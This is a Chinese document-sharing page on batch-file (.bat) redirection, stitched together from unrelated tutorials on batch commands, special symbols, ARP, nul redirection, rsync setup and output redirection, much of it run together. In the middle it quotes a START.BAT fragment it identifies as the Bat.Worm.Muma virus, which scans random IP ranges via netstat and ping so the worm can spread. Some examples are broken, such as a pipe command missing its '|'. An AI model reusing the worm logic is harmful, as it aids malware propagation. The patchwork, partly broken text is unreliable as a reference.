.bat 重定向用法 -回复
- 格式:doc
- 大小:11.78 KB
- 文档页数:4
扩展名是bat(在nt/2000/xp/2003下也可以是cmd)的文件就是批处理文件。
==== 注=======================================.bat是dos下的批处理文件.cmd是nt内核命令行环境的另一种批处理文件从更广义的角度来看,unix的shell脚本以及其它操作系统甚至应用程序中由外壳进行解释执行的文本,都具有与批处理文件十分相似的作用,而且同样是由专用解释器以行为单位解释执行,这种文本形式更通用的称谓是脚本语言。
所以从某个程度分析,batch, unix shell, awk, basic, perl 等脚本语言都是一样的,只不过应用的范围和解释的平台各有不同而已。
甚至有些应用程序仍然沿用批处理这一称呼,而其内容和扩展名与dos的批处理却又完全不同。
===================================首先批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好象我们在DOS 提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。
==== 注===================批处理文件中完全可以使用非dos命令,甚至可以使用不具有可执行特性的普通数据性文件,这缘于windows系统这个新型解释平台的涉入,使得批处理的应用越来越"边缘化"。
所以我们讨论的批处理应该限定在dos环境或者命令行环境中,否则很多观念和设定都需要做比较大的变动。
========================其次,批处理文件是一种简单的程序,可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程,在批处理中也可以使用循环语句(for)来循环执行一条命令。
当然,批处理文件的编程能力与C语言等编程语句比起来是十分有限的,也是十分不规范的。
目录导航【课程热身】1楼:什么是批处理2、简单批处理命令简介3、批处理符号简介4、常用DOS命令5、语句结构6、字符串处理7、数值计算8、概念方法【300个现成程序自选超市】9、系统类(36)10、系统信息查询&修改(19)11、系统优化(14)12、文件创建&改名等操作(29)13、网络类(10)15、BAT收集(32)16、大型&综合性脚本(8)17、格式转换(9)18、获取路径(8)19、其它类(31)20、网络类(10)21、数值计算(18)【一、什么是批处理】批处理(Batch),也称为批处理脚本。
顾名思义,批处理就是对某对象进行批量的处理。
批处理文件的扩展名为 bat 。
目前比较常见的批处理包含两类:DOS批处理和PS批处理。
PS批处理是基于强大的图片编辑软件Photoshop的,用来批量处理图片的脚本;而DOS批处理则是基于DOS命令的,用来自动地批量地执行DOS命令以实现特定操作的脚本。
这里要讲的就是DOS批处理。
批处理是一种简化的脚本语言,它应用于DOS和Windows系统中,它是由DOS或者Windows系统内嵌的命令解释器(通常是或者CMD.EXE)解释运行。
类似于Unix中的Shell脚本。
批处理文件具有.bat或者.cmd的扩展名,其最简单的例子,是逐行书写在命令行中会用到的各种命令。
更复杂的情况,需要使用if,for,goto等命令控制程序的运行过程,如同C,Basic等中高级语言一样。
如果需要实现更复杂的应用,利用外部程序是必要的,这包括系统本身提供的外部命令和第三方提供的工具或者软件。
批处理文件,或称为批处理程序,是由一条条的DOS命令组成的普通文本文件,可以用记事本直接编辑或用DOS命令创建,也可以用DOS下的文本编辑器Edit.exe来编辑。
在“命令提示”下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe运行该批处理程序。
cmd中的特殊符号2007年05月31日星期四 00:46@\\隐藏命令的回显。
~\\在for中表示使用增强的变量扩展;在set中表示使用扩展环境变量指定位置的字符串;在set/a中表示按位取反。
%\\使用两个%包含一个字符串表示引用环境变量。
比如一个%time%可以扩展到当前的系统时间;单个%紧跟0-9的一个数字表示引用命令行参数;用于for中表示引用循环变量;连续的两个%表示执行时脱为一个%。
^\\取消转义字符,即将所有转义字符的转义作用关闭。
比如要在屏幕显示一些特殊的字符,比如> >> | ^等时,就可以在其前面加一个^符号来显示这个^后面的字符了,^^就是显示一个^,^|就是显示一个|字符了;在set/a中是按位异;在findstr/r的[]中表示不匹配指定的字符集。
&\\命令连接字符。
比如我要在一行文本上同时执行两个命令,就可以用&命令连接这两个命令;在set/a中是按位与。
*\\代表任意个任意字符,就是我们通常所说的"通配符";比如想在c盘的根目录查找c盘根目录里所有的文本文件(.txt),那么就可以输入命令"dirc:\*.txt";在set/a中是乘法。
比如"set/a x=4*2",得到的结果是8;在findstr/r中表示将前一个字符多次匹配。
()\\命令包含或者是具有优先权的界定符吧,比如for命令要用到这个(),我们还可以在if,echo等命令中见到它的身影;-\\范围表示符,比如日期的查找,for命令里的tokens操作中就可以用到这个字符;在findstr/r中连接两个字符表示匹配范围;-跟在某些命令的/后表示取反向的开关。
+\\主要是在copy命令里面会用到它,表示将很多个文件合并为一个文件,就要用到这个+字符了;在set/a中是加法。
|\\管道符。
就是将上一个命令的输出,作为下一个命令的输入."dir /a/b | more"就可以逐屏的显示dir命令所输出的信息;在set/a中是按位或;在帮助文档中表示其前后两个开关、选项或参数是二选一的。
第一节常用批处理内部命令简介批处理定义:顾名思义,批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BA T或者CMD。
这些命令统称批处理命令。
小知识:可以在键盘上按下Ctrl+C组合键来强行终止一个批处理的执行过程。
了解了大概意思后,我们正式开始学习.先看一个简单的例子!@echo offecho "欢迎来到非常BA T!"pause把上面的3条命令保存为文件test.bat或者test.cmd然后执行,他就会在屏幕上显示以下二行话:欢迎来到非常BAT!请按任意键继续. . .这就是一个简单批处理文件了,这个批处理文件一共就用了2条命令"echo" 和"pause" 还有一个特殊符号"@"从上面这个简单的批处理中,我们可以发现其实批处理就是运用一些含有特殊意义的符号和一些完成指定功能的命令组合而成,那么在批处理中有多少这样的特殊符号和功能命令呢?我们现在就来仔细了解一下一些最常用的!(以下内容来源网络,请各位仔细阅读,好进入下节的实例说明)======================================================批处理的常见命令(未列举的命令还比较多,请查阅帮助信息)1、REM 和::2、ECHO 和@3、PAUSE4、ERRORLEVEL5、TITLE6、COLOR7、mode 配置系统设备8、GOTO 和:9、FIND10、START11、assoc 和ftype12、pushd 和popd13、CALL14、shift15、IF16、setlocal 与变量延迟介绍命令1、REM 和::REM为注释命令,一般用来给程序加上注解,该命令后的内容不被执行,但能回显。
其次, :: 也可以起到rem 的注释作用, 而且更简洁有效; 但有两点需要注意:第一, 任何以冒号:开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的所有内容。
先举个简单的例子: 让电脑每天在指定时间关机,可以用下面方法打开记事本,写入以下内容: at 22:59 shutdown -s -f -t 3 保存为shutdown.bat文件,双击执行即可(如果希望每天如此,就把它放在启动文件夹里) 下面说说bat的常用命令echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。
==== 注=========== 首先, @ 不是一个命令, 而是DOS 批处理的一个特殊标记符, 仅用于屏蔽命令行回显. 下面是DOS命令行或批处理中可能会见到的一些特殊标记符: CR(0D) 命令行结束符Escape(1B) ANSI转义字符引导符Space(20) 常用的参数界定符Tab(09) ; = 不常用的参数界定符+ COPY命令文件连接符* ? 文件通配符"" 字符串界定符| 命令管道符< > >> 文件重定向符@ 命令行回显屏蔽符/ 参数开关引导符: 批处理标签引导符% 批处理变量引导符其次, :: 确实可以起到rem 的注释作用, 而且更简洁有效; 但有两点需要注意: 第一, 除了:: 之外, 任何以:开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的所有内容, 只是为了与正常的标号相区别, 建议使用goto 所无法识别的标号, 即在:后紧跟一个非字母数字的一个特殊符号. 第二, 与rem 不同的是, ::后的字符行在执行时不会回显, 无论是否用echo on打开命令行回显状态, 因为命令解释器不认为他是一个有效的命令行, 就此点来看, rem 在某些场合下将比:: 更为适用; 另外, rem 可以用于config.sys 文件中. ===================== echo 表示显示此命令后的字符echo off 表示在此语句后所有运行的命令都不显示命令行本身@与echo off相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。
bat批处理切换到当前脚本所在⽂件夹切换到当前脚本所在的⽂件夹cd %~dp0另外附上⼀些bat基本内容——————————————————————————————批处理常⽤命令总结 - 批处理命令简介⽬录echo打开回显或关闭请求回显功能,或显⽰消息。
如果没有任何参数,echo 命令将显⽰当前回显设置。
echo [{on|off}] [message]Sample:@echo off / echo hello world在实际应⽤中我们会把这条命令和重定向符号(也称为管道符号,⼀般⽤> >> ^)结合来实现输⼊⼀些命令到特定的⽂件中。
rem注释命令,类似于在C语⾔中的/*--------*/,它并不会被执⾏,只是起⼀个注释的作⽤,便于别⼈阅读和你⾃⼰⽇后修改。
Rem MessageSample:@Rem Here is the description.pause暂停命令。
运⾏ Pause 命令时,将显⽰下⾯的消息:Press any key to continue. . .(或:请按任意键继续. . .)Sample:@echo off:begincopy G:*.* d:/backecho 请插⼊另⼀张光盘...pausegoto begin在这个例⼦中,驱动器 G 中磁盘上的所有⽂件均复制到d:/back中。
显⽰的注释提⽰您将另⼀张光盘盘放⼊驱动器 G 时,pause 命令会使程序挂起,以便您更换光盘,然后按任意键继续处理。
call从⼀个批处理程序调⽤另⼀个批处理程序,并且不终⽌⽗批处理程序。
call 命令接受⽤作调⽤⽬标的标签。
如果在脚本或批处理⽂件外使⽤Call,它将不会在命令⾏起作⽤。
call [[Drive:][Path] FileName ] [:label [arguments]]参数[Drive:}[Path] FileName指定要调⽤的批处理程序的位置和名称。
批处理中常用命令介绍(Echo、rem、goto、call、pause、if、for)一、echo命令(echo图文版)1. Echo :显示当前ECHO的状态:ECHO ON 或者ECHO OFF 。
2. ECHO ON :ECHO状态设为ON,将显示命令行(如每行前的C:\>等类似标志)。
3. ECHO OFF:CHO状态设为OFF,将不显示命令行(如每行前的C:\>等类似标志) 。
4. ECHO 字符串:将输入的字符串显示在CMD屏幕上。
5. ECHO 字符串&ECHO 字符串… :&,类似and的意思,逻辑运算,用来显示多行数据。
6. ECHO 字符串>文件路径和文件名:将字符串写入文件中,若已有数据将先清空后写入。
7. ECHO 字符串>>文件路径和文件名:将字符串写入文件中,若已有数据将追加到末尾。
注意每次:ECHO 字符串>>文件路径和文件名,命令之后,ECHO就回自动在在字符串后添加换行符,所以要想直接添加到文件末尾,那么文件中已有的数据,不能是ECHO命令先前输入的(或者手工删掉换行符)8. (ECHO 字符串&ECHO 字符串…)>文件路径和文件名:将多行数据写入文件中(注意括号不能去掉,如果括号去掉的话,那么只能写入最后一个,前面的将输出在CMD窗口中。
如果文件中已经有数据,将先自动清空后再写入。
9. (ECHO 字符串&ECHO 字符串…)>>路径和文件名将多行数据写入文件中(注意括号不能去掉,如果括号去掉的话,那么只能写入最后一个,前面的将输出在CMD窗口中。
如果文件中已经有数据,就将该字符串追加到文件的末尾。
10. (ECHO 字符串)>>文件路径和文件名:在文件中另起一行追加上字符串。
如图所示:11. ECHO.:输出空行,即相当于输入一个回车注意命令行中的“.”要紧跟在ECHO后面中间不能有空格,否则“.”将被当作提示信息输出到屏幕。
MS-DOS 的命令用法——A系列Arp显示和修改“地址解析协议(ARP)”缓存中的项目。
ARP 缓存中包含一个或多个表,它们用于存储 IP 地址及其经过解析的以太网或令牌环物理地址。
计算机上安装的每一个以太网或令牌环网络适配器都有自己单独的表。
如果在没有参数的情况下使用,则arp命令将显示帮助信息。
语法arp [-a [InetAddr] [-N IfaceAddr]] [-g [InetAddr] [-N IfaceAddr]] [-d InetAddr [IfaceAddr]] [-s InetAddr EtherAddr [IfaceAddr]]参数-a [InetAddr] [-N IfaceAddr]显示所有接口的当前 ARP 缓存表。
要显示指定 IP 地址的 ARP 缓存项,请使用带有InetAddr参数的arp -a,此处的InetAddr代表指定的 IP 地址。
要显示指定接口的 ARP 缓存表,请使用-N IfaceAddr参数,此处的IfaceAddr代表分配给指定接口的 IP 地址。
-N参数区分大小写。
-g [InetAddr] [-N IfaceAddr]与-a相同。
-d InetAddr [IfaceAddr]删除指定的 IP 地址项,此处的InetAddr代表 IP 地址。
对于指定的接口,要删除表中的某项,请使用IfaceAddr参数,此处的IfaceAddr代表分配给该接口的IP 地址。
要删除所有项,请使用星号 (*) 通配符代替InetAddr。
-s InetAddr EtherAddr [IfaceAddr]向 ARP 缓存添加可将 IP 地址InetAddr解析成物理地址EtherAddr的静态项。
要向指定接口的表添加静态 ARP 缓存项,请使用IfaceAddr参数,此处的IfaceAddr代表分配给该接口的 IP 地址。
/?在命令提示符显示帮助。
注释∙InetAddr和IfaceAddr的 IP 地址用带圆点的十进制记数法表示。
批处理经典入门教程!(从不懂到高手)第3/5页二:START.BAT:CALL MUMA.BATSET IPA=192.168CALL 10.BAT 0:NEARAGAINnetstat -n|find ":" >A.TMPFOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SETNUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT:STARTCALL RANDOM.BATIF "%NUM1%"=="255" GOTO NEARAGAINIF "%NUM1%"=="192" GOTO NEARAGAINIF "%NUM1%"=="127" GOTO NEARAGAINIF "%NUM2%"=="255" GOTO NEARAGAINIF "%NUM3%"=="255" GOTO NEARAGAINIF "%NUM4%"=="255" GOTO NEARAGAINSET IPA=%NUM1%.%NUM2%ECHO START > A.LOGPING %IPA%.%NUM3%.1>B.TMPPING %IPA%.%NUM3%.%NUM4%>>B.TMPFIND /C /I "from" B.TMPIF ERRORLEVEL 1 GOTO STARTCALL 10.BAT %NUM3%DEL A.LOGGOTO START这是Bat.Worm.Muma病毒的起始脚本,设置了病毒运行的环境变量。
批处理中屏蔽错误信息nul2nul的⽤法(cmdnul空格2nul)cmd批处理 nul 部分⽤法⽤法1:2>nul2>nul 是屏蔽操作失败显⽰的信息,如果成功依旧显⽰。
如:在批处理⽂件所在路径下md(或者mkdir)创建名为test的⽂件夹,当此⽂件夹已经创建时会报错。
使⽤2>nul 可屏蔽此提⽰md test 2>nul⽤法2:>nul (即1>nul)>nul 是屏蔽操作成功显⽰的信息,但是出错还是会显⽰(即1>nul)@符号是取消本⾏的输⼊显⽰如:例1:ping ⼀个IP地址。
cmd中将⾸先显⽰,输⼊情况,c:\user\administrator\ ping 192.168.1.1 ⽆论能不能ping通,界⾯⼀般会输出连续输出4⾏ping的情况。
@echo offping 192.168.1.1pause例2:在语句前加上@,不再显⽰输⼊情况。
直接显⽰ping输出结果@echo off@ping 192.168.1.1pause例3:在语句末加上>nul,不再显⽰输出结果,由于添加了@,输⼊情况也不会显⽰。
@echo off@ping192.168.1.1 >nulpause⽤法3:>nul 2>nul (即1>nul)屏蔽所有输出语句显⽰,⽆论成功或失败界⾯均不再提⽰关于"1>” "2>" "2>&1" 的具体意思标准输⼊(standard input)的⽂件描述符是 0标准输出(standard output)是 1标准错误(standard error)是 2>和>>都是重定向输出(>是覆盖,>>是追加)1> 指标准信息输出路径(也就是默认的输出⽅式)2> 指错误信息输出路径2>&1 指将标准信息输出路径指定为错误信息输出路径(也就是都输出在⼀起)补充问题4<&0:<和<<都是重定向输⼊<0指标准输⼊路径4<&0 指的是将⽂件描述符4指定为标准输⼊(实际可选4到9之间任意⼀个数字)grep "standard"* > grep.out 2>&1将包含"standard" 的⾏全部写⼊grep.out⽂件中,包括grep时发⽣错误的报错信息del abc.txt>nul 2>nul这个">nul 2>nul"可以屏蔽⼀切屏幕的输出可以这样理解:假如执⾏⼀个命令,但是不想在屏幕⾥看到这个命令的执⾏情况,可以使⽤"[命令]>nul"就可以屏蔽命令在屏幕上的输出,但是有的命令执⾏会出错,即使⽤了">nul"也不能屏蔽命令产⽣的信息,所以就在后⾯加" 2>nul"这个,就是"[命令]>nul+空格+2>nul",这样,不管命令是否正确的运⾏,都不会在屏幕看到这个命令所产⽣的屏幕显⽰了。
Rsync同步Windows下的文件到Linux服务器端首先在官网下载/相对应的软件包注:本文转自互联网,已将原有的错误修改过来,亲测过Windows2003同步到RHEL5.5 linux server一般系统都自带rsync,如果没有就挂载系统盘自己安装一下,安装挺简单的不用我再多说了vi /etc/rsyncd.confuid = daemon//这个用户是系统用户,当rsync客户端连接上服务器后,会映射成这个用户上传或者下载文件gid = daemon//组名,效果同上log file = /var/log/rsyncd.log//rsync的日志文件保存位置max connections = 5//最大允许的并发链接是5hosts allow = 192.168.1.0/24//只允许指定网段的地址链接服务器hosts deny = *//拒绝其他所有的链接list = yes//用户具有list目录的权限auth users = test//rsync的用户名,这个用户是客户端使用的,链接服务器成功后会映射成上面的daemon 用户read only = no//不是只读模式,这样用户就有上传的权限了write only = yes//不允许用户下载secrets file = /etc/rsync.pass//rsync用户的密码文件保存位置[test]//服务端的模块,客户端登录时候需要指定path = /home/test//test模块的绝对路径编辑/etc/rsync.pass文件vi /etc/rsync.passtest:test//前面是用户名,后面是密码中间用冒号分割chmod 600 /etc/rsync.pass//修改密码文件的权限mkdir /home/testchown daemon.daemon /home/test启动rsync启动服务[root@cmmailapp2 data]# cat /etc/xinetd.d/rsync# default: off# description: The rsync server is a good addition to an ftp server, as it \# allows crc checksumming etc.service rsync{disable = yes //需要修改为no;socket_type = streamwait = nouser = rootserver = /usr/bin/rsyncserver_args = --daemonlog_on_failure += USERID}[root@cmmailapp2 data]# chkconfig --level 2345 rsync on[root@cmmailapp2 data]# chkconfig rsync on[root@cmmailapp2 data]# chkconfig --level 2345 xinetd on[root@cmmailapp2 data]# service xinetd restartStopping xinetd: [ OK ]Starting xinetd: [ OK ]windows client下载cwrsync的安装包可以从这个网站获取到 /projects/sereds/files/cwRsync然后创建一个install.bat的脚本@echo offcd C:\Program Files\WinRARrar.exe e -o+ "%HOMEPATH%"\桌面\test.rar "%HOMEPATH%"\桌面\cd "%HOMEPATH%"\桌面\echo "C:\Program Files\cwRsync\bin\rsync.exe" -vzrtopg --progress --exclude=Recycled --exclude =RECYCLER --exclude="System Volume Information" --password-file=/cygdrive/C/"Program Files"/ cwRsync/bin/rsync.pass /cygdrive/d/ test@192.168.1.1::test > C:"\Program Files"\cwRsync\bin\rs ync.batecho test > C:"\Program Files"\cwRsync\bin\rsync.pass"C:\Program Files\cwRsync\bin\chmod.exe" 600 "/cygdrive/C/Program Files/cwRsync/bin/rsync.p ass"at 12:00 /interactive /every:m,t,w,th,f "C:\Program Files\cwRsync\bin\rsync.bat"下面是详细的介绍:cd C:\Program Files\WinRARrar.exe e -o+ "%HOMEPATH%"\桌面\test.rar "%HOMEPATH%"\桌面\cd "%HOMEPATH%"\桌面\#以上三行主要是解压test.rar的压缩包cwrsync.exe(注:以上红色部分信息可以不用命令实现,手动将下载的cwRsync解压安装即可)#调用cwrsync的安装主程序,根据提示一路下一步就可以,没有需要注意的地方echo "C:\Program Files\cwRsync\bin\rsync.exe" -vzrtopg --progress --exclude=Recycled --exclude =RECYCLER --exclude="System Volume Information" --password-file=/cygdrive/C/"Program Files"/ cwRsync/bin/rsync.pass /cygdrive/d/ test@192.168.1.1::test > C:\"Program Files"\cwRsync\bin\rs ync.bat#上面这句话会生成一个上传文件的脚本,具体内容如下:#echo 是打印内容#C:\Program Files\cwRsync\bin\rsync.exe cwrsync的主程序路径#-vzrtopg#-v, --verbose 详细模式输出#-z, --compress 对备份的文件在传输时进行压缩处理#-r, --recursive 对子目录以递归模式处理#-t, --times 保持文件时间信息#-o, --owner 保持文件属主信息#-p, --perms 保持文件权限#-g, --group 保持文件属组信息#--progress 显示备份过程#--exclude 是排除的意识,我的范例中排除了三个目录#--passwrod-file 密码文件的存放路径#/cygdrive/d/ 本地的路径,我这里是D盘,前面cygdrive必须要跟上,要不cwrsync无法识别你的路径#test@172.16.6.165::test 目标地址,第一个test是用户名@后面是server的地址::后面是servier端的模块名,在rsyncd.conf文件中定义过#> 重定向和linux系统一样的用法#C:"\Program Files"\cwRsync\bin\rsync.bat 将以上的内容重定向到rsync.bat这个文件中#更多的信息可以查看rsync的帮助echo test > C:"\Program Files"\cwRsync\bin\rsync.pass#这句话是生成密码文件,密码的存放路径,密码是test,密码文件不需要用户名,只有密码就可以了"C:\Program Files\cwRsync\bin\chmod.exe" 600 "/cygdrive/C/Program Files/cwRsync/bin/rsync.p ass"#使用cwrsync自带的chmod给密码文件赋予600的权限,一定要注意格式,这里是模拟了linux的用法,不要搞错了,注意两点一个是cygdrive和反斜线at 12:00 /interactive /every:m,t,w,th,f "C:\Program Files\cwRsync\bin\rsync.bat"#win自带的一个服务,将添加我们创建的脚本到任务计划,注意这个任务计划的作者是system用户#at是命令,必须保证task scheduler服务是启动的 12:00任务计划在12点执行,/interactive 任务计划和桌面有交互,用户能看见弹出的cmd窗口#/every:m,t,w,th,f 周一至周五执行任务计划 "C:\Program Files\cwRsync\bin\rsync.bat"命令具体路径#关于at的更多用法大家还是多看看帮助文件吧将下载回来的cwrsync.exe和我们的install.bat压缩到一起,压缩名是text.rar,客户端就制作完成了,可以发布给客户使用,其中的细节根据自己的情况作修改吧(注:以上内容属于计划任务,为了让Rsync能够自动定时执行同步,可以不用以上命令,而直接使用Windows任务计划工具)过程中遇到一个错误:rsync error: error starting client-server protocol (code 5) at main.c(1296) [sender=2.6.8]解决办法:出现此错误的原因根据我出现和网上的说法皆是因为客户端的rsync.pass造成的,文件的内容必须是服务器端指定的rsync用户的密码,不是"user:password"(仅仅只有一个password),我出的问题是因为密码后面带了个空格也不行。
ECHO命令详解ECHO命令是⼤家都熟悉的DOS批处理命令的⼀条⼦命令,但它的⼀些功能和⽤法也许你并不是全都知道,不信你瞧:1.作为控制批处理命令在执⾏时是否显⽰命令⾏⾃⾝的开关格式:ECHO [ON|OFF]如果想关闭“ECHO OFF”命令⾏⾃⾝的显⽰,则需要在该命令⾏前加上“@”。
2.显⽰当前ECHO设置状态格式:ECHO3.输出提⽰信息格式:ECHO信息内容上述是ECHO命令常见的三种⽤法,也是⼤家熟悉和会⽤的,但作为DOS命令淘⾦者你还应该知道下⾯的技巧:4.关闭DOS命令提⽰符在DOS提⽰符状态下键⼊ECHO OFF,能够关闭DOS提⽰符的显⽰使屏幕只留下光标,直⾄键⼊ECHO ON,提⽰符才会重新出现。
5.输出空⾏,即相当于输⼊⼀个回车格式:ECHO.值得注意的是命令⾏中的“.”要紧跟在ECHO后⾯中间不能有空格,否则“.”将被当作提⽰信息输出到屏幕。
另外“.”可以⽤,:;”/[\]+等任⼀符号替代。
在下⾯的例⼦中ECHO.输出的回车,经DOS管道转向作为TIME命令的输⼊,即相当于在TIME命令执⾏后给出⼀个回车。
所以执⾏时系统会在显⽰当前时间后,⾃动返回到DOS提⽰符状态:C:>ECHO.|TIMEECHO命令输出空⾏的另⼀个应⽤实例是:将ECHO.加在⾃动批处理⽂件中,使原本在屏幕下⽅显⽰的提⽰画⾯,出现在屏幕上⽅。
6.答复命令中的提问格式:ECHO答复语|命令⽂件名上述格式可以⽤于简化⼀些需要⼈机对话的命令(如:CHKDSK/F;FORMAT Drive:;del *.*)的操作,它是通过DOS管道命令把ECHO命令输出的预置答复语作为⼈机对话命令的输⼊。
下⾯的例⼦就相当于在调⽤的命令出现⼈机对话时输⼊“Y”回车:C:>ECHO Y|CHKDSK/FC:>ECHO Y|DEL A :*.*7.建⽴新⽂件或增加⽂件内容格式:ECHO ⽂件内容>⽂件名ECHO ⽂件内容>>⽂件名例如:C:>ECHO @ECHO OFF>AUTOEXEC.BAT建⽴⾃动批处理⽂件C:>ECHO C:\CPAV\BOOTSAFE>>AUTOEXEC.BAT向⾃动批处理⽂件中追加内容C:TYPE AUTOEXEC.BAT显⽰该⾃动批处理⽂件@ECHO OFFC:\CPAV\BOOTSAFE8.向打印机输出打印内容或打印控制码格式:ECHO 打印机控制码>PRNECHO 打印内容>PRN下⾯的例⼦是向M-1724打印机输⼊打印控制码。
批处理高级教程精选合编20080331(Windows XP)前言本教程主要引用伤脑筋版主的系列文章,同时参考引用[英雄]教程等其他批处理教程,本文将这些文章合并在一起,并适当修改,修改整理也是学习过程,力求深刻而又简单易懂,主要目的是方便自己以后查阅。
本教程很长啊,需要一定的耐心才能看完,能够看完的话,差不多就是批处理高手了,即使不是高手也是熟手了。
如果连续不停的看完本教程而且理解得差不多,估计人也累趴下了。
本教程适合对dos有一定基础的人慢慢学习或查阅。
查阅方法:复制目录中的条目,搜索即可。
目录第一章批处理基础第一节常用批处理内部命令简介1、REM 和::2、ECHO 和@3、PAUSE4、ERRORLEVEL5、TITLE6、COLOR7、mode 配置系统设备8、GOTO 和:9、FIND10、START11、assoc 和ftype12、pushd 和popd13、CALL14、shift15、IF16、setlocal 与变量延迟第二节常用特殊符号1、@ 命令行回显屏蔽符2、% 批处理变量引导符3、> 重定向符4、>> 重定向符5、<、>&、<& 重定向符6、| 命令管道符7、^ 转义字符8、& 组合命令9、&& 组合命令10、|| 组合命令11、"" 字符串界定符12、, 逗号13、; 分号14、() 括号15、! 感叹号第二章FOR命令详解一、参数/d二、参数/R三、参数/L四、参数/F第三章FOR命令中的变量一、~I - 删除任何引号("),扩展%I二、%~fI - 将%I 扩展到一个完全合格的路径名三、%~dI - 仅将%I 扩展到一个驱动器号四、%~pI - 仅将%I 扩展到一个路径五、%~nI - 仅将%I 扩展到一个文件名六、%~xI - 仅将%I 扩展到一个文件扩展名七、%~sI - 扩展的路径只含有短名八、%~aI - 将%I 扩展到文件的文件属性九、%~tI - 将%I 扩展到文件的日期/时间十、%~zI - 将%I 扩展到文件的大小十一、%~$PA TH:I第四章批处理中的变量一、系统变量二、自定义变量第五章set命令详解一、用set命令设置自定义变量二、用set命令进行简单计算三、用set命令进行字符串处理1、字符串替换2、字符串截取第六章if命令讲解第一种用法:IF [NOT] ERRORLEVEL number command 第二种用法:IF [NOT] string1==string2 command第三种用法:IF [NOT] EXIST filename command第四种用法:IF增强的用法第七章DOS编程高级技巧一、界面设计二、if…else…条件语句三、循环语句四、子程序五、用ftp命令实现自动下载六、用7-ZIP实现命令行压缩和解压功能七、调用VBScript程序八、将批处理转化为可执行文件九、时间延迟十、模拟进度条整理者:龙卷风1、更正了所有的错别字,适当排版,增加条理性。
.bat 重定向用法-回复
“重定向”是一种在命令行界面下使用的功能,可以将命令的输出结果发送至指定位置,而不是在屏幕上显示。
在Windows操作系统中,批处理脚本(.bat)是一种常见的脚本语言,可以用于自动化任务和批量处理。
本
文将详细介绍在批处理脚本中使用重定向的用法,为读者提供一步一步的解释和示例。
第一部分:什么是重定向?
重定向是一种重要的命令行功能,可将命令的输出结果发送到不同的位置,而不是在屏幕上显示。
在批处理脚本中,重定向可以用于将命令的输出结果保存到文件中,或者将其作为另一个命令的输入。
常用的重定向操作符有两种:标准输出重定向和标准错误重定向。
第二部分:标准输出重定向
标准输出重定向主要用于将命令的输出结果保存到文件中。
在批处理脚本中,可以使用大于符号(>)来进行标准输出重定向。
下面是一个示例:
echo Hello, World! > output.txt
上述命令将“Hello, World!”保存到名为“output.txt”的文件中。
如果文件已经存在,命令将覆盖现有内容;如果文件不存在,命令将创建新文件并写入内容。
如果你希望将输出结果追加到文件末尾而不是覆盖原有内容,可以使用双大于符号(>>)。
示例如下:
echo New line! >> output.txt
上述命令将“New line!”追加到“output.txt”文件末尾。
第三部分:标准错误重定向
与标准输出重定向类似,标准错误重定向用于将命令的错误消息保存到文件中。
在批处理脚本中,可以使用2>操作符进行标准错误重定向。
示例如下:
dir NonExistingFolder 2> error.txt
上述命令将搜索名为“NonExistingFolder”的文件夹,如果该文件夹不存在,则错误消息将保存到“error.txt”文件中。
需要注意的是,如果希望同时重定向标准输出和标准错误,可以使用&操作符。
示例如下:
dir NonExistingFolder > output.txt 2>&1
上述命令将搜索名为“NonExistingFolder”的文件夹,将标准输出和标准错误都保存到“output.txt”文件中。
第四部分:管道
在批处理脚本中,管道是一种特殊的重定向方式,用于将一个命令的输出作为另一个命令的输入。
可以使用竖线符号()进行管道操作。
下面是一个示例:
dir findstr ".txt" > files.txt
上述命令将列出当前目录下的所有文件,并将其中包含“.txt”字样的文件名保存到“files.txt”文件中。
第五部分:实际应用
批处理脚本中的重定向功能非常实用,可以用于自动化任务和批量处理。
以下是一些实际应用案例:
1. 批量处理文件:可使用重定向将多个文件的输出结果存储到一个文件中,便于批量处理。
比如,将多个文本文件合并为一个文件。
2. 日志记录:通过重定向,可以将脚本执行过程中的输出结果存储到日志
文件中,便于后续的排查和分析。
3. 调试和错误处理:将错误消息输出到文件中有助于查找和修复问题,而不会干扰用户界面。
总结:
通过本文的介绍,我们了解了批处理脚本中重定向的用法及其实际应用。
标准输出重定向和标准错误重定向可用于将命令的输出结果保存到文件,而管道操作可用于将一个命令的输出作为另一个命令的输入。
掌握重定向的用法,可以提高批处理脚本的灵活性和自动化程度,为处理大量数据和任务提供便利。